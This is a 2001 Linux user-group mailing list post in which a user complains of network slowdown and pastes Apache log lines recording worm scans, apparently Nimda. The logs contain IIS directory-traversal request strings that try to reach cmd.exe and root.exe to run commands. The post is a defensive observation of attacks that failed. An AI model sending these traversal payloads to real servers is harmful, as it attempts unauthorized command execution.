--=-gL+T/NyFpPn4Y2IZnTL/ Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Well, if anyone even gets this...! Speakeasy is more or less dead.. dr hans, if I continuously bounce, my appologies. I was at work and thought someone was dos'ing my server at home because I was ssh'd in and suddenly everything locked up.. =20 I can't ping I can't email, no web, no nothing!!! I came home for lunch and I'm watching tcpdump on my external nic and you could set the atomic clock by the hits I'm getting.. Most from people on speakeasy, and I think speakeasy servers themselves.. =20 ~~~~~~~~ root@carthage:/var/log/apache# tail error_log [Tue Sep 18 13:54:07 2001] [error] [client 64.84.4.2] File does not exist: /var/www/htdocs/c/winnt/system32/cmd.exe [Tue Sep 18 13:54:11 2001] [error] [client 64.84.4.2] File does not exist: /var/www/htdocs/d/winnt/system32/cmd.exe [Tue Sep 18 13:54:23 2001] [error] [client 64.84.4.2] File does not exist: /var/www/htdocs/scripts/..%5c../winnt/system32/cmd.exe [Tue Sep 18 13:54:30 2001] [error] [client 64.81.226.138] File does not exist: /var/www/htdocs/scripts/root.exe [Tue Sep 18 13:54:37 2001] [error] [client 64.81.226.138] File does not exist: /var/www/htdocs/MSADC/root.exe [Tue Sep 18 13:54:37 2001] [error] [client 64.81.226.138] File does not exist: /var/www/htdocs/c/winnt/system32/cmd.exe [Tue Sep 18 13:54:44 2001] [error] [client 64.84.4.2] File does not exist: /var/www/htdocs/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe [Tue Sep 18 13:54:54 2001] [error] [client 64.84.4.2] File does not exist: /var/www/htdocs/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe [Tue Sep 18 13:54:54 2001] [error] [client 64.84.4.2] File does not exist: /var/www/htdocs/msadc/..%5c../..%5c../..%5c/..=C1../..=C1../..=C1../winnt/s= ystem32/cmd.exe [Tue Sep 18 13:54:57 2001] [error] [client 64.84.4.2] File does not exist: /var/www/htdocs/scripts/..=C1../winnt/system32/cmd.exe ~~~~~~~~~ root@carthage:/var/log/apache# tail access_log 64.81.226.138 - - [18/Sep/2001:13:54:30 -0700] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 286 64.81.226.138 - - [18/Sep/2001:13:54:37 -0700] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 284 64.81.226.138 - - [18/Sep/2001:13:54:37 -0700] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 294 64.84.4.2 - - [18/Sep/2001:13:54:44 -0700] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 325 64.84.4.2 - - [18/Sep/2001:13:54:54 -0700] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 325 64.84.4.2 - - [18/Sep/2001:13:54:54 -0700] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/s= ystem32/cmd.exe?/c+dir HTTP/1.0" 404 341 64.84.4.2 - - [18/Sep/2001:13:54:57 -0700] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 307 64.84.4.2 - - [18/Sep/2001:13:54:58 -0700] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 307 64.81.250.90 - - [18/Sep/2001:14:01:47 -0700] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 286 64.81.97.103 - - [18/Sep/2001:14:02:06 -0700] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 286 This isn't code red, it's nambi ?? or something like that. Saw it on slashdot this morning before I went down. =20 I haven't read anything on it, so I don't know how bad it is, but I sure know I'm getting sick and tired of this fsck'n windows crap. I have networking stuff, security, lpad and other things to learn, and I can't because the damn net's soooo slow I can't get anywhere!!! And at the same time, something else I can't figure out now, none of my smb shares work! back to the salt mines. nathan On Tue, 2001-09-18 at 12:38, David P. Schwartz wrote: > My DSL service from Qwest has been getting pretty bad lately. I switched= to Cox' nameservers and things have improved noticeably. >=20 > -David Schwartz >=20 > Gontran wrote: >=20 > > * Alan Dayley (adayley@adtron.com) wrote: > > > > > > Here at work our internet access has slowed significantly. Our IT gu= y says > > > it is not our end and our provider claims no fault too. I was wonder= ing if > > > anyone else is seeing slow web page and news server access or if our = ISP is > > > spinning a problem. Any comments? > > > > http://www.incidents.org/ >=20 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't p= ost to the list quickly and you use Netscape to write mail. >=20 > PLUG-discuss mailing list - PLUG-discuss@lists.PLUG.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --=20 "I know not with what weapons World War III will be fought, but World War IV will be fought with sticks and stones." -- Albert Einstein --=-gL+T/NyFpPn4Y2IZnTL/ Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA7p7ea8roUgVY5MsERAmiRAJ9gJ+VFyDHvQHQk/nXy907fMKjYhQCfY9HE KvUidkzWFWJMVTYlofeOhf8= =+FPN -----END PGP SIGNATURE----- --=-gL+T/NyFpPn4Y2IZnTL/--